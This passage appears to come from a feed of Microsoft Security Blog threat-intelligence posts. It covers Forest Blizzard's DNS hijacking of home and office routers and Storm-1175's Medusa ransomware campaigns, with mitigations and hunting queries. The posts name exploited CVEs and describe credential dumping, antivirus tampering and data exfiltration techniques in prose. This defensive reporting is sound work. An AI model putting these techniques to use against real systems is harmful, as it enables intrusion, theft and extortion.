 ) on $left.CompromisedEntity == $right.DeviceName
 | summarize arg_max(TimeGenerated, *) by DisplayName, ThreatName, ThreatFamilyName, PublicIP, AlertSeverity, Description, tostring(LoggedOnUsers), DeviceId, TenantId, CompromisedEntity, ProductName, Entities
 | extend HostName = tostring(split(CompromisedEntity, ".")[0]), DomainIndex = toint(indexof(CompromisedEntity, '.'))
 | extend HostNameDomain = iff(DomainIndex != -1, substring(CompromisedEntity, DomainIndex + 1), CompromisedEntity)
 | project-away DomainIndex
 | project TimeGenerated, DisplayName, ThreatName, ThreatFamilyName, PublicIP, AlertSeverity, Description, LoggedOnUsers, DeviceId, TenantId, CompromisedEntity, ProductName, Entities, HostName, HostNameDomain

Indicators of compromise

Malicious file hashes

Domains and IP addresses

Acknowledgments

Existing blogs with similar behavior tracked:

• https://cloud.google.com/blog/topics/threat-intelligence/unc1069-targets-cryptocurrency-ai-social-engineering
• https://www.huntress.com/blog/inside-bluenoroff-web3-intrusion-analysis
• https://securelist.com/bluenoroff-apt-campaigns-ghostcall-and-ghosthie/117842/
• https://x.com/malwrhunterteam/status/2008831892616081508
• https://x.com/patrickwardle/status/2009008936771543341?s=46

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Dissecting Sapphire Sleet’s macOS intrusion from lure to compromise appeared first on Microsoft Security Blog.

Executive summary

Forest Blizzard, a threat actor linked to the Russian military, has been compromising insecure home and small-office internet equipment like routers, then modifying their settings in ways that turn them into part of the actor’s malicious infrastructure. The threat actor then hides behind this legitimate but compromised infrastructure to spy on additional targets or conduct follow-on attacks. Microsoft Threat Intelligence is sharing information on this campaign to increase awareness of the risks associated with insecure home and small-office internet routing devices and give users and organizations tools to mitigate, detect, and hunt for these threats where they might be impacted. 

Since at least August 2025, the Russian military intelligence actor Forest Blizzard, and its sub-group tracked as Storm-2754, has conducted a large-scale exploitation of vulnerable small office/home office (SOHO) devices to hijack Domain Name System (DNS) requests and facilitate the collection of network traffic. For nation-state actors like Forest Blizzard, DNS hijacking enables persistent, passive visibility and reconnaissance at scale.

By compromising edge devices that are upstream of larger targets, threat actors can take advantage of less closely monitored or managed assets to pivot into enterprise environments. Microsoft Threat Intelligence has identified over 200 organizations and 5,000 consumer devices impacted by Forest Blizzard’s malicious DNS infrastructure; telemetry did not indicate compromise of Microsoft-owned assets or services.

Forest Blizzard, which primarily collects intelligence in support of Russian government foreign policy initiatives, has also leveraged its DNS hijacking activity to support post-compromise adversary-in-the-middle (AiTM) attacks on Transport Layer Security (TLS) connections against Microsoft Outlook on the web domains. This activity enables the interception of cloud-hosted content, impacting numerous sectors including government, information technology (IT), telecommunications, and energy—all usual targets for this actor.

While the number of organizations specifically targeted for TLS AiTM is only a subset of the networks with vulnerable SOHO devices, Microsoft Threat Intelligence assesses that the threat actor’s broad access could enable larger-scale AiTM attacks, which might include active traffic interception. Targeting SOHO devices is not a new tactic, technique, or procedure (TTP) for Russian military intelligence actors, but this is the first time Microsoft has observed Forest Blizzard using DNS hijacking at scale to support AiTM of TLS connections after exploiting edge devices.

In this blog, we share our analysis of the TTPs used by Forest Blizzard in this campaign to illustrate how threat actors leverage this attack surface. We’re also outlining mitigation and protection recommendations to reduce exposure from compromised SOHO devices, as well as Microsoft Defender detection and hunting guidance to help defenders identify and investigate related malicious activity. It’s important for organizations to account for unmanaged SOHO devices—particularly those used by remote and hybrid employees—since compromised home and small‑office network infrastructure can expose cloud access and sensitive data even when enterprise environments and cloud services themselves remain secure.

DNS hijacking attack chain: From compromised devices to AiTM and other follow-on activity

The following sections provide details on Forest Blizzard’s end-to-end attack chain for this campaign, from initial access on vulnerable SOHO routers to actor-controlled DNS resolution and AiTM activity.

Edge router compromise

Forest Blizzard gained access to SOHO devices then altered their default network configurations to use actor-controlled DNS resolvers. This malicious re-configuration resulted in thousands of devices sending their DNS requests to actor-controlled servers.

Typically, endpoint devices obtain network configuration settings from edge devices through Dynamic Host Configuration Protocol (DHCP). Exploiting SOHO devices requires minimal investment while providing wide visibility on compromised devices, allowing the actor to collect DNS traffic and passively observe DNS requests, which could facilitate follow-on collection activity as described in the next section.

DNS hijacking

Forest Blizzard is almost certainly using the dnsmasq utility to perform DNS resolution and provide responses while listening on port 53 for DNS queries. The dnsmasq utility is a legitimate tool that provides lightweight network services widely used in home routers or smaller networks. Among its services are DNS forwarding and caching and a DHCP server, which collectively enable upstream DNS query forwarding and IP address assignment on a local network.

Adversary-in-the-middle attacks

Microsoft Threat Intelligence has observed AiTM attacks related to the initial access campaign. Although they target different endpoints, both are Transport Layer Security (TLS) AiTM attacks, allowing the threat actor to collect data being transmitted.

In most cases, the DNS requests appear to have been transparently proxied by the actor’s infrastructure, resulting in connections to the legitimate service endpoints without interruption. However, in a limited number of compromises, the threat actor spoofed DNS responses for specifically targeted domains to force impacted endpoints to connect to infrastructure controlled by the threat actor.

The actor-controlled malicious infrastructure would then present an invalid TLS certificate to the victim, spoofing the legitimate Microsoft service. If the compromised user ignored warnings about the invalid TLS certificate, the threat actor could then actively intercept the underlying plaintext traffic—potentially including emails and other customer content— within the TLS connection. Since Forest Blizzard does not always conduct AiTM activity after achieving initial access through DNS hijacking, the actor is likely using it selectively against targets of intelligence priority post-compromise:

• AiTM attack against Microsoft 365 domains: Microsoft observed Forest Blizzard conducting follow-on AiTM operations against a subset of domains associated with Microsoft Outlook on the web.
• AiTM attack against specific government servers: Microsoft identified separate AiTM activity targeting non-Microsoft hosted servers in at least three government organizations in Africa, during which Forest Blizzard intercepted DNS requests and conducted follow-on collection.

Possible post-compromise activities

Forest Blizzard’s DNS hijacking and AiTM activity allows the actor to conduct DNS collection on sensitive organizations worldwide and is consistent with the actor’s longstanding remit to collect espionage against priority intelligence targets. Although we have only observed Forest Blizzard utilizing their DNS hijacking campaign for information collection, an attacker could use an AiTM position for additional outcomes, such as malware deployment or denial of service.

Mitigation and protection guidance

Microsoft recommends the following mitigation steps to protect against this Forest Blizzard activity:

Protection against DNS hijacking

• Enforce domain-name-based network access controls using Zero Trust DNS (ZTDNS) on Windows endpoints to ensure that devices only resolve DNS through trusted servers.
• Block known or malicious domains to prevent DNS-based attacks, and maintain detailed DNS logs to monitor, investigate, and gain insight into anomalous DNS traffic.
• Follow best practices for enhancing network security for cloud computing environments.
• Enable network protection and web protection in Microsoft Defender for Endpoint to safeguard against malicious sites and internet-based threats.
• Avoid using home router solutions in corporate environments.

Protection against AiTM and credential theft

• Centralize your organization’s identity management into a single platform. If your organization is a hybrid environment, integrate your on-premises directories with your cloud directories. If your organization is using a third-party for identity management, ensure this data is being logged in a SIEM or connected to Microsoft Entra to fully monitor for malicious identity access from a centralized location.
  • The added benefits to centralizing all identity data is to facilitate implementation of Single Sign On (SSO) and provide users with a more seamless authentication process, as well as configure Microsoft Entra’s machine learning models to operate on all identity data, thus learning the difference between legitimate access and malicious access quicker and easier.
  • It is recommended to synchronize all user accounts except administrative and high privileged ones when doing this to maintain a boundary between the on-premises environment and the cloud environment, in case of a breach. 
• Strictly enforce multifactor authentication (MFA) and apply Conditional Access policies, particularly for privileged and high‑risk accounts, to reduce the impact of credential compromise. Use passwordless solutions like passkeys in addition to implementing MFA.
  • Use the Microsoft Authenticator app for passkeys and MFA, and complement MFA with Conditional Access policies, where sign-in requests are evaluated using additional identity-driven signals.
  • Conditional Access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
  • Your passkey and MFA policy can be further secured by only allowing MFA and passkey registrations from trusted locations and devices.
• Implement continuous access evaluation and implement a sign-in risk policy to automate response to risky sign-ins. A sign-in risk represents the probability that a given authentication request isn’t authorized by the identity owner. A sign-in risk-based policy can be implemented by adding a sign-in risk condition to Conditional Access policies that evaluates the risk level of a specific user or group. Based on the risk level (high/medium/low), a policy can be configured to block access or force multi-factor authentication. We recommend requiring multi-factor authentication on Medium or above risky sign-ins. 
• Follow best practices for recovering from systemic identity compromises outlined by Microsoft Incident Response.

Microsoft Defender detection and hunting guidance

Microsoft Defender customers can refer to the following list of applicable detections. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender for Endpoint

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report. Microsoft tracks the specific component of Forest Blizzard associated with this activity as Storm-2754.

• Forest Blizzard Actor activity detected
• Storm-2754 activity

Entra ID Protection

The following Microsoft Entra ID Protection risk detection informs Entra ID user risk events and can indicate associated threat activity, including unusual user activity consistent with known Forest Blizzard attack patterns identified by Microsoft Threat Intelligence research: 

• Microsoft Entra threat intelligence (sign-in) (RiskEventType: investigationsThreatIntelligence)

Hunting

Because initial compromise and DNS modification occur at the router-level, the following hunting recommendations focus on detecting post-compromise behavior.

Modifications to DNS settings

In identified activity, Forest Blizzard’s compromise of an infected SOHO device resulted in the update of the default DNS setting on connected Windows machines.

• Identifying unusual modifications to DNS settings can be an identifier for malicious DNS hijacking activity.
• Resetting the DNS settings and addressing vulnerable SOHO devices can resolve this activity, though these actions will not remediate an attacker who has managed to steal user credentials in follow-on AiTM activity.

Post-compromise activity

Forest Blizzard’s post-compromise AiTM activity could enable the actor to operate in the environment as a valid user. Establishing a baseline of normal user activity is important to be able to identify and investigate potentially anomalous actions. For Entra environments, Microsoft Entra ID Protection provides two important reports for daily activity monitoring:

• Risky sign-in reports surfaces attempted and successful user access activities where the legitimate owner might not have performed the sign-in.
• Risky user reports surfaces user accounts that might have been compromised, such as a leaked credential that was detected or the user signing in from an unexpected location in the absence of planned travel.

Defenders can surface highly suspicious or successful risky sign-ins using the following advanced hunting query in the Microsoft Defender XDR portal:

AADSignInEventsBeta 
| where RiskLevelAggregated == 100 and (ErrorCode == 0 or ErrorCode == 50140) 
| project Timestamp, Application, LogonType, AccountDisplayName, UserAgent, IPAddress 

After stealing credentials, Forest Blizzard could potentially carry out a range of activity against targets as a legitimate user. For Microsoft 365 environments, the ActionType “Search” or “MailItemsAccessed” in the CloudAppEvents table in the Defender XDR portal can provide some information on user search activities, including the Microsoft Defender for Cloud Apps connector that surfaces activity unusual for that user.

CloudAppEvents
| where AccountObjectId == " " // limit results to specific suspicious user accounts by adding the user here
| where ActionType has_any ("Search", "MailItemsAccessed")

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments:

• Actor profile: Forest Blizzard
• Activity profile: SOHO router compromise leads to DNS hijacking and adversary-in-the-middle attacks

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post SOHO router compromise leads to DNS hijacking and adversary-in-the-middle attacks appeared first on Microsoft Security Blog.

The financially motivated cybercriminal actor tracked by Microsoft Threat Intelligence as Storm-1175 operates high-velocity ransomware campaigns that weaponize N-days, targeting vulnerable, web-facing systems during the window between vulnerability disclosure and widespread patch adoption. Following successful exploitation, Storm-1175 rapidly moves from initial access to data exfiltration and deployment of Medusa ransomware, often within a few days and, in some cases, within 24 hours. The threat actor’s high operational tempo and proficiency in identifying exposed perimeter assets have proven successful, with recent intrusions heavily impacting healthcare organizations, as well as those in the education, professional services, and finance sectors in Australia, United Kingdom, and United States.

The pace of Storm-1175’s campaigns is enabled by the threat actor’s consistent use of recently disclosed vulnerabilities to obtain initial access. While the threat actor typically uses N-day vulnerabilities, we have also observed Storm-1175 leveraging zero-day exploits, in some cases a full week before public vulnerability disclosure. The threat actor has also been observed chaining together multiple exploits to enable post-compromise activity. After initial access, Storm-1175 establishes persistence by creating new user accounts, deploys various tools including remote monitoring and management software for lateral movement, conducts credential theft, and tampers with security solutions before deploying ransomware throughout the compromised environment.

In this blog post, we delve into the attack techniques attributed to Storm-1175 over several years. While Storm-1175’s methodology aligns with the tactics, techniques, and procedures (TTPs) of many tracked ransomware actors, analysis of their post-compromise tactics provides essential insights into how organizations can harden and defend against attackers like Storm-1175, informing opportunities to disrupt attackers even if they have gained initial access to a network.

Storm-1175’s rapid attack chain: From initial access to impact

Exploitation of vulnerable web-facing assets

Storm-1175 rapidly weaponizes recently disclosed vulnerabilities to obtain initial access. Since 2023, Microsoft Threat Intelligence has observed exploitation of over 16 vulnerabilities, including:

• CVE-2023-21529 (Microsoft Exchange)
• CVE-2023-27351 and CVE-2023-27350 (Papercut)
• CVE-2023-46805 and CVE-2024-21887 (Ivanti Connect Secure and Policy Secure)
• CVE-2024-1709 and CVE-2024-1708 (ConnectWise ScreenConnect)
• CVE-2024-27198 and CVE-2024-27199 (JetBrains TeamCity)
• CVE-2024-57726, CVE-2024-57727, and CVE-2024-57728 (SimpleHelp)
• CVE‑2025‑31161 (CrushFTP)
• CVE-2025-10035 (GoAnywhere MFT)
• CVE-2025-52691 and CVE-2026-23760 (SmarterMail)
• CVE-2026-1731 (BeyondTrust)

Storm-1175 rotates exploits quickly during the time between disclosure and patch availability or adoption, taking advantage of the period where many organizations remain unprotected. In some cases, Storm-1175 has weaponized exploits for disclosed vulnerabilities in as little as one day, as was the case for CVE-2025-31324 impacting SAP NetWeaver: the security issue was disclosed on April 24, 2025, and we observed Storm-1175 exploitation soon after on April 25.

In multiple intrusions, Storm-1175 has chained together exploits to enable post-compromise activities like remote code execution (RCE). For example, in July 2023, Storm-1175 exploited two vulnerabilities affecting on-premises Microsoft Exchange Servers, dubbed “OWASSRF” by public researchers: exploitation of CVE‑2022‑41080 provided initial access by exposing Exchange PowerShell via Outlook Web Access (OWA), and Storm-1175 subsequently exploited CVE‑2022‑41082 to achieve remote code execution.

Storm-1175 has also demonstrated a capability for targeting Linux systems as well: in late 2024, Microsoft Threat Intelligence identified the exploitation of vulnerable Oracle WebLogic instances across multiple organizations, though we were unable to identify the exact vulnerability being exploited in these attacks.

Finally, we have also observed the use of at least three zero-day vulnerabilities including, most recently, CVE-2026-23760 in SmarterMail, which was exploited by Storm-1175 the week prior to public disclosure, and CVE-2025-10035 in GoAnywhere Managed File Transfer, also exploited one week before public disclosure. While these more recent attacks demonstrate an evolved development capability or new access to resources like exploit brokers for Storm-1175, it is worth noting that GoAnywhere MFT has previously been targeted by ransomware attackers, and that the SmarterMail vulnerability was reportedly similar to a previously disclosed flaw; these factors may have helped to facilitate subsequent zero-day exploitation activity by Storm-1175, who still primarily leverages N-day vulnerabilities. Regardless, as attackers increasingly become more adept at identifying new vulnerabilities, understanding your digital footprint—such as through the use of public scanning interfaces like Microsoft Defender External Attack Surface Management—is essential to defending against perimeter network attacks.

Covert persistence and lateral movement

During exploitation, Storm-1175 typically creates a web shell or drops a remote access payload to establish their initial hold in the environment. From this point, Microsoft Threat Intelligence has observed Storm-1175 moving from initial access to ransomware deployment in as little as one day, though many of the actor’s attacks have occurred over a period of five to six days.

On the initially compromised device, the threat actor often establishes persistence by creating a new user and adding that user to the administrators group:

From this account, Storm-1175 begins their reconnaissance and lateral movement activity. Storm-1175 has a rotation of tools to accomplish these subsequent attack stages. Most commonly, we observe the use of living-off-the-land binaries (LOLBins), including PowerShell and PsExec, followed by the use of Cloudflare tunnels (renamed to mimic legitimate binaries like conhost.exe) to move laterally over Remote Desktop Protocol (RDP) and deliver payloads to new devices. If RDP is not allowed in the environment, Storm-1175 has been observed using administrator privileges to modify the Windows Firewall policy to enable Remote Desktop.

Storm-1175 has also demonstrated a heavy reliance on remote monitoring and management (RMM) tools during post-compromise activity. Since 2023, Storm-1175 has used multiple RMMs, including:

• Atera RMM
• Level RMM
• N-able
• DWAgent
• MeshAgent
• ConnectWise ScreenConnect
• AnyDesk
• SimpleHelp

While often used by enterprise IT teams, these RMM tools have multi-pronged functionality that could also allow adversaries to maintain persistence in a compromised network, create new user accounts, enable an alternative command-and-control (C2) method, deliver additional payloads, or use as an interactive remote desktop session.

In many attacks, Storm-1175 relies on PDQ Deployer, a legitimate software deployment tool that lets system administrators silently install applications, for both lateral movement and payload delivery, including ransomware deployment throughout the network.

Additionally, Storm-1175 has leveraged Impacket for lateral movement. Impacket is a collection of open-source Python classes designed for working with network protocols, and it is popular with adversaries due to ease of use and wide range of capabilities. Microsoft Defender for Endpoint has a dedicated attack surface reduction rule to defend against lateral movement techniques used by Impacket: Block process creations originating from PSExec and WMI commands); protecting lateral movement pathways can also mitigate Impacket.

Credential theft

Impacket is further used to facilitate credential dumping through LSASS; the threat actor also leveraged the commodity credential theft tool Mimikatz in identified intrusions in 2025. Additionally, Storm-1175 has relied on known living-off-the-land techniques for stealing credentials, such as by modifying the registry entry UseLogonCredential to turn on WDigest credential caching, or using Task Manager to dump LSASS credentials; for both of these attack techniques, the threat actor must obtain local administrative privileges to modify these resources. The attack surface reduction rule block credential stealing from LSASS can limit the effectiveness of this type of attack, and—more broadly—limiting the use of local administrator rights by end users. Ensuring that local administrator passwords are not shared through the environment can also reduce the risk of these LSASS dumping techniques.

We have also observed that after gaining administrator credentials, Storm-1175 has used a script to recover passwords from Veeam backup software, which is used to connect to remote hosts, therefore enabling ransomware deployment to additional connected systems.

With sufficient privileges, Storm-1175 can then use tools like PsExec to pivot to a Domain Controller, where they have accessed the NTDS.dit dump, a copy of the Active Directory database which contains user data and passwords that can be cracked offline. This privileged position has also granted Storm-1175 access to the security account manager (SAM), which provides detailed configuration and security settings, enabling an attacker to understand and manipulate the system environment on a much wider scale.

Security tampering for ransomware delivery

Storm-1175 modifies the Microsoft Defender Antivirus settings stored in the registry to tamper with the antivirus software and prevent it from blocking ransomware payloads; in order to accomplish this, an attacker must have access to highly privileged accounts that can modify the registry directly. For this reason, prioritizing alerts related to credential theft activity, which typically indicate an active attacker in the environment, is essential to responding to ransomware signals and preventing attackers from gaining privileged account access.

Storm-1175 has also used encoded PowerShell commands to add the C:\ drive to the antivirus exclusion path, preventing the security solution from scanning the drive and allowing payloads to run without any alerts. Defenders can harden against these tampering techniques by combining tamper protection with the DisableLocalAdminMerge setting, which prevents attackers from using local administrator privileges to set antivirus exclusions.

Data exfiltration and ransomware deployment

Like other ransomware as a service (RaaS) offerings, Medusa offers a leak site to facilitate double extortion operations for its affiliates: attackers not only encrypt data, but steal the data and hold it for ransom, threatening to leak the files publicly if a ransom is not paid. To that aim, Storm-1175 often uses Bandizip to collect files and Rclone for data exfiltration. Data synchronization tools like Rclone allow threat actors to easily transfer large volumes of data to a remote attacker-owned cloud resource. These tools also provide data synchronization capabilities, moving newly created or updated files to cloud resources in real-time to enable continuous exfiltration throughout all stages of the attack without needing attacker interaction.

Finally, having gained sufficient access throughout the network, Storm-1175 frequently leverages PDQ Deployer to launch a script (RunFileCopy.cmd) and deliver Medusa ransomware payloads. In some cases, Storm-1175 has alternatively used highly privileged access to create a Group Policy update to broadly deploy ransomware.

Mitigation and protection guidance

To defend against Storm-1175 TTPs and similar activity, Microsoft recommends the following mitigation measures:

• Use a perimeter scanning tool like Microsoft Defender External Attack Surface Management to understand your organization’s digital footprint and potential attack surface. Targeting web-facing vulnerabilities continues to be one of the most effective attack methods for initial access.
• Ensure any web-facing systems are isolated from the public internet with a secure network boundary and access them with a virtual private network (VPN). If certain servers must be accessible on the public internet, position them behind a web application firewall (WAF), reverse proxy, or perimeter network (also known as a DMZ), which can reduce the risk of vulnerability exploitation in some cases.
• Follow the defending against ransomware guidance in Microsoft’s ransomware as a service blog post, which details how to build credential hygiene as well as how to limit lateral movement using the principle of least privilege.
• Implement Credential Guard, a critical security feature that protects credentials stored in process memory  – in the LSA process lsass.exe. Credential Guard is turned on by default in Windows 11. However, if Credential Guard was previously disabled on a device, updating a device to Windows 11 does not override that setting, and Credential Guard will need to be re-enabled. Additionally, Credential Guard should be enabled before a device is joined to a domain or before a domain user signs in for the first time. If Credential Guard is enabled after domain join, the user and device secrets may already be compromised. Credential Guard can be enabled using Group Policy, the registry, or Microsoft Intune.
• Turn on tenant-wide tamper protection features to prevent attackers from stopping security services or using antivirus exclusions. Without tamper protection, attackers could simply turn off Microsoft Defender Antivirus without the need to acquire higher privileges.
  • Customers running Intune or Microsoft Defender for Endpoint Security Configuration can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO.  
  • In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy. 
  • If there is an issue with a device during roll out of various antivirus features, the device can be placed in Troubleshooting mode to turn off Tamper Protection temporarily without impacting the wider organizational security policy. 
• For approved RMM systems used in your environment, enforce security settings where possible to implement MFA. If an unapproved RMM installation is discovered in your network, reset passwords for accounts used to install the RMM services. If a System-level account was used to install the software, further investigation may be warranted.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent common attack techniques used in ransomware attacks:
  • Block credential stealing from the Windows local security authority subsystem (lsass.exe)
  • Block execution of potentially obfuscated scripts
  • Block Webshell creation for Servers
  • Block process creations originating from PSExec and WMI commands (Some organizations might experience compatibility issues with this rule on certain server systems but should deploy it to other systems to prevent lateral movement originating from PsExec and WMI.)
  • Block execution of potentially obfuscated scripts
  • Block use of copied or impersonated system tools
  • Use advanced protection against ransomware

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Actor profile: Storm-1175
• Tool profile: Medusa ransomware
• Threat overview profile: Human-operated ransomware  

Indicators of compromise

The following indicators are gathered from identified Storm-1175 attacks during 2026.

References

• Attackers With Decompilers Strike Again (SmarterTools SmarterMail WT-2026-0001 Auth Bypass)
• OWASSRF: CrowdStrike Identifies New Exploit Method for Exchange Bypassing ProxyNotShell Mitigations

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Storm-1175 focuses gaze on vulnerable web-facing assets in high-tempo Medusa ransomware operations appeared first on Microsoft Security Blog.